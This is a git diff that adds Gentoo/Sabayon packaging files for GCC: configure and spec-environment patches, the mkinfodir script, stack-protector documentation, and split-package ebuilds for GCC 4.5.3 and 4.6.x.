+++ b/sys-devel/gcc/files/gcc-configure-texinfo.patch
@@ -0,0 +1,16 @@
+Chances are quite good that the installed makeinfo is sufficient.
+So ignore false positives where the makeinfo installed is so new
+that it violates the cheesy version grep.
+
+http://bugs.gentoo.org/198182
+
+--- configure
++++ configure
+@@ -3573,6 +3573,6 @@
+       :
+     else
+-      MAKEINFO="$MISSING makeinfo"
++      :
+     fi
+     ;;
+ 
diff --git a/sys-devel/gcc/files/gcc-spec-env.patch b/sys-devel/gcc/files/gcc-spec-env.patch
new file mode 100644
index 00000000..57e7567e
--- /dev/null
+++ b/sys-devel/gcc/files/gcc-spec-env.patch
@@ -0,0 +1,42 @@
+    Add support for external spec file via the GCC_SPECS env var.  This
+    allows us to easily control pie/ssp defaults with gcc-config profiles.
+
+    Original patch by Rob Holland
+    Extended to support multiple entries separated by ':' by Kevin F. Quinn
+    Modified to use getenv instead of poisoned GET_ENVIRONMENT by Ryan Hill
+
+--- gcc-4/gcc/gcc.c
++++ gcc-4/gcc/gcc.c
+@@ -6482,6 +6482,32 @@
+ 
+   /* Process any user specified specs in the order given on the command
+      line.  */
++#if !(defined (__MSDOS__) || defined (OS2) || defined (VMS) || defined (WIN32))
++  /* Add specs listed in GCC_SPECS.  Note; in the process of separating
++   * each spec listed, the string is overwritten at token boundaries
++   * (':') with '\0', an effect of strtok_r().
++   */
++  specs_file = getenv ("GCC_SPECS");
++  if (specs_file && (strlen(specs_file) > 0))
++    {
++      char *spec, *saveptr;
++      for (spec=strtok_r(specs_file,":",&saveptr);
++           spec!=NULL;
++           spec=strtok_r(NULL,":",&saveptr))
++        {
++          struct user_specs *user = (struct user_specs *)
++            xmalloc (sizeof (struct user_specs));
++
++          user->next = (struct user_specs *) 0;
++          user->filename = spec;
++          if (user_specs_tail)
++            user_specs_tail->next = user;
++          else
++            user_specs_head = user;
++          user_specs_tail = user;
++        }
++    }
++#endif
+   for (uptr = user_specs_head; uptr; uptr = uptr->next)
+     {
+       char *filename = find_a_file (&startfile_prefixes, uptr->filename,
diff --git a/sys-devel/gcc/files/mkinfodir b/sys-devel/gcc/files/mkinfodir
new file mode 100644
index 00000000..a62840ee
--- /dev/null
+++ b/sys-devel/gcc/files/mkinfodir
@@ -0,0 +1,233 @@
+#!/bin/bash
+# $Id: mkinfodir,v 1.1 2001/09/01 07:56:19 drobbins Exp $
+# Generate the top-level Info node, given a directory of Info files
+# and (optionally) a skeleton file.  The output will be suitable for a
+# top-level dir file.  The skeleton file contains info topic names in the
+# order they should appear in the output.  There are three special
+# lines that alter the behavior: a line consisting of just "--" causes
+# the next line to be echoed verbatim to the output.  A line
+# containing just "%%" causes all the remaining filenames (wildcards
+# allowed) in the rest of the file to be ignored.  A line containing
+# just "!!" exits the script when reached (unless preceded by a line
+# containing just "--").  Once the script reaches the end of the
+# skeleton file, it goes through the remaining files in the directory
+# in order, putting their entries at the end.  The script will use the
+# ENTRY information in each info file if it exists.  Otherwise it will
+# make a minimal entry.
+
+# sent by Jeffrey Osier <jeffrey@cygnus.com>, who thinks it came from
+# zoo@winternet.com (david d `zoo' zuhn)
+
+# modified 7 April 1995 by Joe Harrington <jh@tecate.gsfc.nasa.gov> to
+# take special flags
+
+INFODIR=$1
+if [ $# = 2 ] ; then
+  SKELETON=$2
+else
+  SKELETON=/dev/null
+fi
+
+skip=
+
+if [ $# -gt 2 ] ; then
+  echo usage: $0 info-directory [ skeleton-file ] 1>&2
+  exit 1
+elif [ -z "${INFODIR}" ] ; then
+  INFODIR="%%DEFAULT_INFO_DIR%%"
+else
+  true
+fi
+
+if [ ! -d ${INFODIR} ] ; then
+  echo "$0: first argument must specify a directory"
+  exit 1
+fi
+
+### output the dir header
+echo "-*- Text -*-"
+echo "This file was generated automatically by $0."
+echo "This version was generated on `date`"
+echo "by `whoami`@`hostname` for `(cd ${INFODIR}; pwd)`"
+
+cat << moobler
+\$Id: mkinfodir,v 1.1 2001/09/01 07:56:19 drobbins Exp $
+This is the file .../info/dir, which contains the topmost node of the
+Info hierarchy.  The first time you invoke Info you start off
+looking at that node, which is (dir)Top.
+
+File: dir	Node: Top	This is the top of the INFO tree
+
+  This (the Directory node) gives a menu of major topics. 
+  Typing "q" exits, "?" lists all Info commands, "d" returns here,
+  "h" gives a primer for first-timers,
+  "mEmacs<Return>" visits the Emacs topic, etc.
+
+  In Emacs, you can click mouse button 2 on a menu item or cross reference
+  to select it.
+
+* Menu: The list of major topics begins on the next line.
+
+moobler
+
+### go through the list of files in the skeleton.  If an info file
+### exists, grab the ENTRY information from it.  If an entry exists
+### use it, otherwise create a minimal dir entry.
+###
+### Then remove that file from the list of existing files.  If any
+### additional files remain (ones that don't have a skeleton entry), 
+### then generate entries for those in the same way, putting the info for 
+### those at the end....
+
+infofiles=`(cd ${INFODIR}; /bin/ls | grep -v '\-[0-9]*\.gz$' | grep -v '\-[0-9]*$' | egrep -v '^dir$|^dir\.info$|^dir\.orig$')`
+
+# echoing gets clobbered by backquotes; we do it the hard way...
+lines=`wc $SKELETON | awk '{print $1}'`
+line=1
+while [ $lines -ge $line ] ; do
+  # Read one line from the file.  This is so that we can echo lines with
+  # whitespace and quoted characters in them.
+  fileline=`awk NR==$line $SKELETON`
+
+  # flag fancy features
+  if [ ! -z "$echoline" ] ; then	# echo line
+    echo "$fileline"
+    fileline=
+    echoline=
+  elif [ "${fileline}" = "--" ] ; then	# should we echo the next line?
+    echoline=1
+  elif [ "${fileline}" = "%%" ] ; then	# eliminate remaining files from dir?
+    skip=1
+  elif [ "${fileline}" = "!!" ] ; then	# quit now
+    exit 0
+  fi
+
+  # handle files if they exist
+  for file in $fileline"" ; do	# expand wildcards ("" handles blank lines)
+
+    fname=
+
+    if [ -z "$echoline" -a ! -z "$file" ] ; then
+
+      # Find the file to operate upon.  Check both possible names.
+      infoname=`echo $file | sed 's/\.gz$//'`
+      infoname=`echo $infoname | sed 's/\.info$//'`
+      noext=
+      ext=
+      if [ -f ${INFODIR}/$infoname ] ; then
+        noext=$infoname
+      fi
+      if [ -f ${INFODIR}/${infoname}.info ] ; then
+        ext=${infoname}.info
+      fi
+      if [ -f ${INFODIR}/${infoname}.info.gz ] ; then
+	ext=${infoname}.info.gz
+      fi
+      # If it exists with both names take what was said in the file.
+      if [ ! -z "$ext" -a ! -z "$noext" ]; then
+        fname=$file
+        warn="### Warning: $ext and $noext both exist!  Using ${file}. ###"
+      elif [ ! \( -z "$ext" -a -z "$noext" \) ]; then
+        # just take the name if it exists only once
+        fname=${noext}${ext}
+      fi
+
+      # if we found something and aren't skipping, do the entry
+      if [ ! -z "$fname" ] ; then
+        if [ -z "$skip" ] ; then
+
+          if [ ! -z "$warn" ] ; then	# issue any warning
+	    echo $warn
+	    warn=
+          fi
+	  if [ "${fname##*.}" = "gz" ] ; then
+	    entry=`zcat ${INFODIR}/${fname} | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' `
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$fname`
+	  fi
+          if [ ! -z "${entry}" ] ; then
+            echo "${entry}"
+          else
+            echo "* ${infoname}: (${infoname})."
+          fi
+        fi
+
+        # remove the name from the directory listing
+	infofiles=`echo "" ${infofiles} "" | sed -e "s/ ${fname} / /" -e "s/  / /g"`
+
+      fi
+
+    fi
+
+  done
+
+  line=`expr $line + 1`
+done
+
+if [ -z "${infofiles}" ] ; then
+  exit 0
+elif [ $lines -gt 0 ]; then
+  echo
+fi
+
+# Sort remaining files by INFO-DIR-SECTION.
+prevsect=
+filesectdata=`(cd ${INFODIR}; fgrep INFO-DIR-SECTION /dev/null ${infofiles} | \
+	      fgrep -v 'INFO-DIR-SECTION Miscellaneous' | \
+	      sort -t: -k2 -k1 | tr ' ' '_')`
+for sectdata in ${filesectdata}; do
+  file=`echo ${sectdata} | cut -d: -f1`
+  section=`sed -n -e 's/^INFO-DIR-SECTION //p' ${INFODIR}/${file}`
+  infofiles=`echo "" ${infofiles} "" | sed -e "s/ ${file} / /" -e "s/  / /g"`
+
+  if [ "${prevsect}" != "${section}" ] ; then
+    if [ ! -z "${prevsect}" ] ; then
+      echo ""
+    fi
+    echo "${section}"
+    prevsect="${section}"
+  fi
+  infoname=`echo $file | sed 's/\.gz$//'`
+  infoname=`echo $infoname | sed 's/\.info$//'`
+  if [ "${file##*.}" = "gz" ] ; then
+	    entry=`zcat ${INFODIR}/$file | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' `
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$file`
+	  fi
+  if [ ! -z "${entry}" ] ; then
+    echo "${entry}"
+  elif [ ! -d "${INFODIR}/${file}" ] ; then
+    echo "* ${infoname}: (${infoname})."
+  fi
+done
+
+# Process miscellaneous files.
+for file in ${infofiles}; do
+  if [ ! -z "${prevsect}" ] ; then
+    echo ""
+    echo "Miscellaneous"
+    prevsect=""
+  fi
+
+  infoname=`echo $file | sed 's/\.gz$//'`
+  infoname=`echo $infoname | sed 's/\.info$//'`
+  if [ "${file##*.}" = "gz" ] ; then
+           entry=`zcat ${INFODIR}/${file} | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d'`
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$file`
+	  fi
+
+
+  if [ ! -z "${entry}" ] ; then
+    echo "${entry}"
+  elif [ ! -d "${INFODIR}/${file}" ] ; then
+    echo "* ${infoname}: (${infoname})."
+  fi
+done
+
diff --git a/sys-devel/gcc/files/pro-police-docs.patch b/sys-devel/gcc/files/pro-police-docs.patch
new file mode 100644
index 00000000..091ea44e
--- /dev/null
+++ b/sys-devel/gcc/files/pro-police-docs.patch
@@ -0,0 +1,74 @@
+Index: gcc/doc/invoke.texi
+===================================================================
+RCS file: /cvsroot/gcc/gcc/gcc/doc/invoke.texi,v
+retrieving revision 1.364
+diff -c -3 -p -r1.364 invoke.texi
+*** gcc/doc/invoke.texi	21 Nov 2003 11:42:58 -0000	1.364
+--- gcc/doc/invoke.texi	22 Nov 2003 08:12:35 -0000
+*************** in the following sections.
+*** 228,234 ****
+  -Wno-multichar  -Wnonnull  -Wpacked  -Wpadded @gol
+  -Wparentheses  -Wpointer-arith  -Wredundant-decls @gol
+  -Wreturn-type  -Wsequence-point  -Wshadow @gol
+! -Wsign-compare  -Wstrict-aliasing @gol
+  -Wswitch  -Wswitch-default  -Wswitch-enum @gol
+  -Wsystem-headers  -Wtrigraphs  -Wundef  -Wuninitialized @gol
+  -Wunknown-pragmas  -Wunreachable-code @gol
+--- 228,234 ----
+  -Wno-multichar  -Wnonnull  -Wpacked  -Wpadded @gol
+  -Wparentheses  -Wpointer-arith  -Wredundant-decls @gol
+  -Wreturn-type  -Wsequence-point  -Wshadow @gol
+! -Wsign-compare  -Wstack-protector  -Wstrict-aliasing @gol
+  -Wswitch  -Wswitch-default  -Wswitch-enum @gol
+  -Wsystem-headers  -Wtrigraphs  -Wundef  -Wuninitialized @gol
+  -Wunknown-pragmas  -Wunreachable-code @gol
+*************** in the following sections.
+*** 681,686 ****
+--- 681,687 ----
+  -fshort-double  -fshort-wchar @gol
+  -fverbose-asm  -fpack-struct  -fstack-check @gol
+  -fstack-limit-register=@var{reg}  -fstack-limit-symbol=@var{sym} @gol
++ -fstack-protector  -fstack-protector-all @gol
+  -fargument-alias  -fargument-noalias @gol
+  -fargument-noalias-global  -fleading-underscore @gol
+  -ftls-model=@var{model} @gol
+*************** effectively.  Often, the problem is that
+*** 3014,3019 ****
+--- 3015,3024 ----
+  complex; GCC will refuse to optimize programs when the optimization
+  itself is likely to take inordinate amounts of time.
+  
++ @item -Wstack-protector
++ @opindex Wstack-protector
++ Warn when not issuing stack smashing protection for some reason
++ 
+  @item -Werror
+  @opindex Werror
+  Make all warnings into errors.
+*************** and grows downwards, you can use the fla
+*** 11474,11479 ****
+--- 11479,11502 ----
+  @option{-fstack-limit-symbol=__stack_limit} and
+  @option{-Wl,--defsym,__stack_limit=0x7ffe0000} to enforce a stack limit
+  of 128KB@.  Note that this may only work with the GNU linker.
++ 
++ @item -fstack-protector
++ @item -fstack-protector-all
++ @opindex fstack-protector
++ @opindex fstack-protector-all
++ @opindex fno-stack-protector
++ Generate code to protect an application from a stack smashing
++ attack. The features are (1) the insertion of random value next to the
++ frame pointer to detect the integrity of the stack, (2) the reordering
++ of local variables to place buffers after pointers to avoid the
++ corruption of pointers that could be used to further corrupt arbitrary
++ memory locations, (3) the copying of pointers in function arguments to
++ an area preceding local variable buffers to prevent the corruption of
++ pointers that could be used to further corrupt arbitrary memory
++ locations, and the (4) omission of instrumentation code from some
++ functions to decrease the performance overhead.  If the integrity
++ would be broken, the program is aborted.  If no-stack-protector is
++ specified, instrumentation codes are generated at every functions.
+  
+  @cindex aliasing of parameters
+  @cindex parameters, aliased
diff --git a/sys-devel/gcc/gcc-4.5.3-r2.ebuild b/sys-devel/gcc/gcc-4.5.3-r2.ebuild
new file mode 100644
index 00000000..bc161c3c
--- /dev/null
+++ b/sys-devel/gcc/gcc-4.5.3-r2.ebuild
@@ -0,0 +1,113 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+PATCH_VER="1.1"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.4.7"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+SSP_UCLIBC_STABLE=""
+#end Hardened stuff
+
+inherit toolchain
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 s390 sh sparc x86 ~x86-fbsd"
+
+RDEPEND="~sys-devel/base-gcc-${PV}
+	!build? (
+		gcj? (
+			gtk? (
+				x11-libs/libXt
+				x11-libs/libX11
+				x11-libs/libXtst
+				x11-proto/xproto
+				x11-proto/xextproto
+				=x11-libs/gtk+-2*
+				x11-libs/pango
+			)
+			>=media-libs/libart_lgpl-2.1
+			app-arch/zip
+			app-arch/unzip
+		)
+	)"
+
+## Make sure we share all the USE flags in sys-devel/base-gcc
+BASE_GCC_USE="fortran gcj gtk mudflap multilib nls nptl openmp altivec
+	bootstrap build doc fixed-point graphite hardened lto
+	multislot nocxx nopie nossp objc objc++ objc-gc test vanilla"
+for base_use in ${BASE_GCC_USE}; do
+	RDEPEND+=" ~sys-devel/base-gcc-${PV}[${base_use}?]"
+done
+IUSE="${BASE_GCC_USE}"
+
+DEPEND="${RDEPEND}
+	amd64? ( multilib? ( gcj? ( app-emulation/emul-linux-x86-xlibs ) ) )"
+## Should this be moved to base-gcc?
+## I guess the cross-* thing is now utterly broken
+if [[ ${CATEGORY} != cross-* ]] ; then
+	PDEPEND="${PDEPEND} elibc_glibc? ( >=sys-libs/glibc-2.8 )"
+fi
+
+## No changes
+src_unpack() {
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	sed -i 's/use_fixproto=yes/:/' gcc/config.gcc #PR33200
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+}
+
+## Just install libgcc stuff
+src_install() {
+	toolchain_src_install
+
+	# now drop what's provided by sys-devel/base-gcc-${PV}:${SLOT}
+	base_gcc_libs="libgfortran.so* libgcc_s.so* libobjc.so*
+		libobjc_gc.so* libmudflap.so* libmudflapth.so* libgomp.so* libstdc++.so*"
+	base_multilib_gcc_libs="32/libgfortran.so* 32/libobjc.so* 32/libobjc_gc.so*
+		32/libgcc_s.so* 32/libgomp.so* 32/libmudflap.so*
+		32/libmudflapth.so* 32/libstdc++.so*"
+	for gcc_lib in ${base_gcc_libs}; do
+		# -f is used because the file might not be there
+		rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+		debug_dir="${D}"/usr/lib/debug
+		if [ -d "${debug_dir}" ]; then
+			rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+		fi
+	done
+	if use multilib; then
+		for gcc_lib in ${base_multilib_gcc_libs}; do
+			# -f is used because the file might not be there
+			rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+			debug_dir="${D}"/usr/lib/debug
+			if [ -d "${debug_dir}" ]; then
+				rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+			fi
+		done
+	fi
+	# then .mo files provided by sys-devel/base-gcc-${PV}:${SLOT}
+	find "${D}"${DATAPATH}/locale -name libstdc++.mo -delete
+	find "${D}"${DATAPATH}/info -name libgomp.info* -delete
+
+	# drop stuff from env.d, provided by sys-devel/base-gcc-${PV}:${SLOT}
+	rm "${D}"/etc/env.d -rf
+}
diff --git a/sys-devel/gcc/gcc-4.6.2.ebuild b/sys-devel/gcc/gcc-4.6.2.ebuild
new file mode 100644
index 00000000..f3369dbb
--- /dev/null
+++ b/sys-devel/gcc/gcc-4.6.2.ebuild
@@ -0,0 +1,132 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+PATCH_VER="1.0"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.4.5"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+SSP_UCLIBC_STABLE=""
+#end Hardened stuff
+
+inherit toolchain
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 s390 sh sparc x86 ~x86-fbsd"
+
+RDEPEND="~sys-devel/base-gcc-${PV}
+	!build? (
+		gcj? (
+			gtk? (
+				x11-libs/libXt
+				x11-libs/libX11
+				x11-libs/libXtst
+				x11-proto/xproto
+				x11-proto/xextproto
+				=x11-libs/gtk+-2*
+				x11-libs/pango
+			)
+			>=media-libs/libart_lgpl-2.1
+			app-arch/zip
+			app-arch/unzip
+		)
+	)"
+
+## Make sure we share all the USE flags in sys-devel/base-gcc
+BASE_GCC_USE="fortran gcj gtk mudflap multilib nls nptl openmp altivec
+	bootstrap build doc fixed-point go graphite hardened
+	multislot cxx nopie nossp objc objc++ objc-gc test vanilla"
+for base_use in ${BASE_GCC_USE}; do
+	RDEPEND+=" ~sys-devel/base-gcc-${PV}[${base_use}?]"
+done
+IUSE="${BASE_GCC_USE}"
+
+DEPEND="${RDEPEND}
+	amd64? ( multilib? ( gcj? ( app-emulation/emul-linux-x86-xlibs ) ) )"
+## Should this be moved to base-gcc?
+## I guess the cross-* thing is now utterly broken
+if [[ ${CATEGORY} != cross-* ]] ; then
+	PDEPEND="${PDEPEND} elibc_glibc? ( >=sys-libs/glibc-2.8 )"
+fi
+
+## No changes
+src_unpack() {
+	if has_version '<sys-libs/glibc-2.12' ; then
+		ewarn "Your host glibc is too old; disabling automatic fortify."
+		ewarn "Please rebuild gcc after upgrading to >=glibc-2.12 #362315"
+		EPATCH_EXCLUDE+=" 10_all_default-fortify-source.patch"
+	fi
+
+	# drop the x32 stuff once 4.7 goes stable
+	case ${CHOST} in
+	x86_64*) has x32 $(get_all_abis) || EPATCH_EXCLUDE+=" 80_all_gcc-4.6-x32.patch" ;;
+	esac
+
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+
+	# Fix http://gcc.gnu.org/bugzilla/show_bug.cgi?id=47719
+	epatch "${FILESDIR}/${P}-fix-ICE-on-arm.patch"
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	toolchain_src_install
+
+	# now drop what's provided by sys-devel/base-gcc-${PV}:${SLOT}
+	base_gcc_libs="libgfortran.so* libgcc_s.so* libobjc.so*
+		libobjc_gc.so* libmudflap.so* libmudflapth.so* libgomp.so* libstdc++.so*
+		libquadmath.so*"
+	base_multilib_gcc_libs="32/libgfortran.so* 32/libobjc.so* 32/libobjc_gc.so*
+		32/libgcc_s.so* 32/libgomp.so* 32/libmudflap.so*
+		32/libmudflapth.so* 32/libstdc++.so* 32/libquadmath.so*"
+	for gcc_lib in ${base_gcc_libs}; do
+		# -f is used because the file might not be there
+		rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+		debug_dir="${D}"/usr/lib/debug
+		if [ -d "${debug_dir}" ]; then
+			rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+		fi
+	done
+	if use multilib; then
+		for gcc_lib in ${base_multilib_gcc_libs}; do
+			# -f is used because the file might not be there
+			rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+			debug_dir="${D}"/usr/lib/debug
+			if [ -d "${debug_dir}" ]; then
+				rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+			fi
+		done
+	fi
+	# then .mo files provided by sys-devel/base-gcc-${PV}:${SLOT}
+	find "${D}"${DATAPATH}/locale -name libstdc++.mo -delete
+	find "${D}"${DATAPATH}/info -name libgomp.info* -delete
+	find "${D}"${DATAPATH}/info -name libquadmath.info* -delete
+
+	# drop stuff from env.d, provided by sys-devel/base-gcc-${PV}:${SLOT}
+	rm "${D}"/etc/env.d -rf
+}
diff --git a/sys-devel/gcc/gcc-4.6.3.ebuild b/sys-devel/gcc/gcc-4.6.3.ebuild
new file mode 100644
index 00000000..79d59c40
--- /dev/null
+++ b/sys-devel/gcc/gcc-4.6.3.ebuild
@@ -0,0 +1,159 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+PATCH_VER="1.3"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.5.2"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 mips ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 mips ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+# uclibc need to be >= 0.9.32
+SSP_UCLIBC_STABLE="x86 amd64 ppc ppc64 arm"
+#end Hardened stuff
+
+inherit toolchain
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+RDEPEND="~sys-devel/base-gcc-${PV}
+	!build? (
+		gcj? (
+			gtk? (
+				x11-libs/libXt
+				x11-libs/libX11
+				x11-libs/libXtst
+				x11-proto/xproto
+				x11-proto/xextproto
+				=x11-libs/gtk+-2*
+				x11-libs/pango
+			)
+			>=media-libs/libart_lgpl-2.1
+			app-arch/zip
+			app-arch/unzip
+		)
+	)"
+
+## Make sure we share all the USE flags in sys-devel/base-gcc
+BASE_GCC_USE="fortran gcj gtk mudflap multilib nls nptl openmp altivec
+	bootstrap build doc fixed-point go graphite hardened
+	multislot cxx nopie nossp objc objc++ objc-gc test vanilla"
+for base_use in ${BASE_GCC_USE}; do
+	RDEPEND+=" ~sys-devel/base-gcc-${PV}[${base_use}?]"
+done
+IUSE="${BASE_GCC_USE}"
+
+DEPEND="${RDEPEND}
+	amd64? ( multilib? ( gcj? ( app-emulation/emul-linux-x86-xlibs ) ) )"
+## Should this be moved to base-gcc?
+## I guess the cross-* thing is now utterly broken
+if [[ ${CATEGORY} != cross-* ]] ; then
+	PDEPEND="${PDEPEND} elibc_glibc? ( >=sys-libs/glibc-2.8 )"
+fi
+
+## Check for valid gcc profile.
+src_unpack() {
+	# Since Sabayon's gcc ebuild are split into two parts, we have to
+	# build gcc with a different version of gcc, or terrible breakage
+	# will occur after sys-devel/base-gcc is installed, but the
+	# partner sys-devel/gcc still needs to be built.
+
+	# While it is possible to rebuild Sabayon's split gcc from
+	# the same version, we have to disallow this also since
+	# we have no way of discerning if a configuration change
+	# is significant enough to cause breakage.
+
+	GCC_PROFILE_VER=$(cat ${ROOT}/etc/env.d/gcc/config-$CHOST | awk -F- '{ print $NF }')
+	einfo "Checking for valid gcc profile to build ${P}"
+
+	# Construct the Slot of the gcc version in the active profile.
+	GCC_PROFILE_SLOT_MAJOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $1 }')
+	GCC_PROFILE_SLOT_MINOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $2 }')
+	GCC_PROFILE_SLOT="${GCC_PROFILE_SLOT_MAJOR}.${GCC_PROFILE_SLOT_MINOR}"
+	einfo "Current gcc profile version Slot is: ${GCC_PROFILE_SLOT}"
+	if [[ "${GCC_PROFILE_SLOT}" = "${SLOT}" ]] ; then
+		eerror "Error!"
+		eerror "The active gcc-profile is for sys-devel/gcc slot ${SLOT}."
+		eerror "Sabayon's split sys-devel/gcc package MUST be built"
+		eerror "with another slotted version of sys-devel/gcc active."
+		die "Invalid gcc profile selected!"
+	fi
+
+	if has_version '<sys-libs/glibc-2.12' ; then
+		ewarn "Your host glibc is too old; disabling automatic fortify."
+		ewarn "Please rebuild gcc after upgrading to >=glibc-2.12 #362315"
+		EPATCH_EXCLUDE+=" 10_all_default-fortify-source.patch"
+	fi
+
+	# drop the x32 stuff once 4.7 goes stable
+	case ${CHOST} in
+	x86_64*) has x32 $(get_all_abis) || EPATCH_EXCLUDE+=" 80_all_gcc-4.6-x32.patch" ;;
+	esac
+
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+
+	# Fix http://gcc.gnu.org/bugzilla/show_bug.cgi?id=47719
+	epatch "${FILESDIR}/${PN}-4.6.2-fix-ICE-on-arm.patch"
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	toolchain_src_install
+
+	# now drop what's provided by sys-devel/base-gcc-${PV}:${SLOT}
+	base_gcc_libs="libgfortran.so* libgcc_s.so* libobjc.so*
+		libobjc_gc.so* libmudflap.so* libmudflapth.so* libgomp.so* libstdc++.so*
+		libquadmath.so*"
+	base_multilib_gcc_libs="32/libgfortran.so* 32/libobjc.so* 32/libobjc_gc.so*
+		32/libgcc_s.so* 32/libgomp.so* 32/libmudflap.so*
+		32/libmudflapth.so* 32/libstdc++.so* 32/libquadmath.so*"
+	for gcc_lib in ${base_gcc_libs}; do
+		# -f is used because the file might not be there
+		rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+		debug_dir="${D}"/usr/lib/debug
+		if [ -d "${debug_dir}" ]; then
+			rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+		fi
+	done
+	if use multilib; then
+		for gcc_lib in ${base_multilib_gcc_libs}; do
+			# -f is used because the file might not be there
+			rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+			debug_dir="${D}"/usr/lib/debug
+			if [ -d "${debug_dir}" ]; then
+				rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+			fi
+		done
+	fi
+	# then .mo files provided by sys-devel/base-gcc-${PV}:${SLOT}
+	find "${D}"${DATAPATH}/locale -name libstdc++.mo -delete
+	find "${D}"${DATAPATH}/info -name libgomp.info* -delete
+	find "${D}"${DATAPATH}/info -name libquadmath.info* -delete
+
+	# drop stuff from env.d, provided by sys-devel/base-gcc-${PV}:${SLOT}
+	rm "${D}"/etc/env.d -rf
+}
